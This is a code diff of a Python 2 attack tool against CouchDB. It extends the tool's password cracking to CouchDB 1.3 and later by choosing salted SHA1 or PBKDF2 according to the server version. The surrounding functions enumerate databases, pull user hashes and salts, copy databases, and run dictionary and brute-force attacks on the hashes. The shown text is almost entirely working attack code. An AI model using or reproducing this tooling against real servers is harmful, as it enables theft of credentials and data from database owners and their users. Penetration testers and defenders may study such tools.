1919import urllib
2020import requests
2121import sys
22+ import unittest
23+ from pbkdf2 import PBKDF2
24+ from binascii import a2b_hex
2225import string
2326import itertools
2427from hashlib import sha1
@@ -113,7 +116,7 @@ def netAttacks(target,port, myIP):
113116 return
114117
115118
116- mgtUrl = "http://" + target + ":5984/"
119+ mgtUrl = "http://" + target + ":5984/_utils "
117120 #Future rev: Add web management interface parsing
118121 try :
119122 mgtRespCode = urllib .urlopen (mgtUrl ).getcode ()
@@ -194,7 +197,7 @@ def enumDbs (couchConn,target):
194197 crack = raw_input ("Crack this hash (y/n)? " )
195198
196199 if crack in yes_tag :
197- passCrack (userNames [x ],userHashes [x ],userSalts [x ])
200+ passCrack (userNames [x ],userHashes [x ],userSalts [x ], couchConn . version () )
198201
199202
200203 return
@@ -242,7 +245,7 @@ def stealDBs (myDB, couchConn, target):
242245 raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return..." )
243246 return
244247
245- def passCrack (user , encPass , salt ):
248+ def passCrack (user , encPass , salt , dbVer ):
246249 select = True
247250 print "Select password cracking method: "
248251 print "1-Dictionary Attack"
@@ -254,11 +257,11 @@ def passCrack (user, encPass, salt):
254257
255258 if select == "1" :
256259 select = False
257- dict_pass (encPass ,salt )
260+ dict_pass (encPass ,salt , dbVer )
258261
259262 elif select == "2" :
260263 select = False
261- brute_pass (encPass ,salt )
264+ brute_pass (encPass ,salt , dbVer )
262265
263266 elif select == "3" :
264267 return
@@ -267,7 +270,7 @@ def passCrack (user, encPass, salt):
267270def genBrute (chars , maxLen ):
268271 return ('' .join (candidate ) for candidate in itertools .chain .from_iterable (itertools .product (chars , repeat = i ) for i in range (1 , maxLen + 1 )))
269272
270- def brute_pass (hashVal ,salt ):
273+ def brute_pass (hashVal ,salt , dbVer ):
271274 charSel = True
272275 print "\n "
273276 maxLen = raw_input ("Enter the maximum password length to attempt: " )
@@ -303,11 +306,17 @@ def brute_pass(hashVal,salt):
303306 for attempt in genBrute (chainSet ,int (maxLen )):
304307 print "\r Combinations tested: " + str (count ) + "\r "
305308 count += 1
306- if sha1 (attempt + salt ).hexdigest () == hashVal :
307- print "Found - " + attempt
308- return
309+
310+ #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
311+ if float (dbVer [0 :3 ]) < 1.3 :
312+ gotIt = gen_pass_couch (attempt ,salt ,hashVal )
313+ else :
314+ gotIt = gen_pass_couch13 (attempt , salt , 10 , hashVal )
315+
316+ if gotIt == True :
317+ break
309318
310- def dict_pass (key ,salt ):
319+ def dict_pass (key ,salt , dbVer ):
311320 loadCheck = False
312321
313322 while loadCheck == False :
@@ -325,17 +334,31 @@ def dict_pass(key,salt):
325334
326335 for passGuess in passList :
327336 temp = passGuess .split ("\n " )[0 ]
328- gotIt = gen_pass_couch (temp ,salt ,key )
329337
338+ #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
339+ if float (dbVer [0 :3 ]) < 1.3 :
340+ gotIt = gen_pass_couch (temp ,salt ,key )
341+ else :
342+ gotIt = gen_pass_couch13 (temp , salt , 10 , key )
343+
330344 if gotIt == True :
331345 break
332346
333347 return
334348
335349def gen_pass_couch (passw , salt , hashVal ):
336350 if sha1 (passw + salt ).hexdigest () == hashVal :
337- print "Found - " + passw
351+ print "Password Cracked - " + passw
338352 return True
339353
340354 else :
341- return False
355+ return False
356+
357+ def gen_pass_couch13 (passw , salt , iterations , hashVal ):
358+ result = PBKDF2 (passw ,salt ,iterations ).read (20 )
359+ expected = a2b_hex (hashVal )
360+ if result == expected :
361+ print "Password Cracked- " + passw
362+ return True
363+ else :
364+ return False
0 commit comments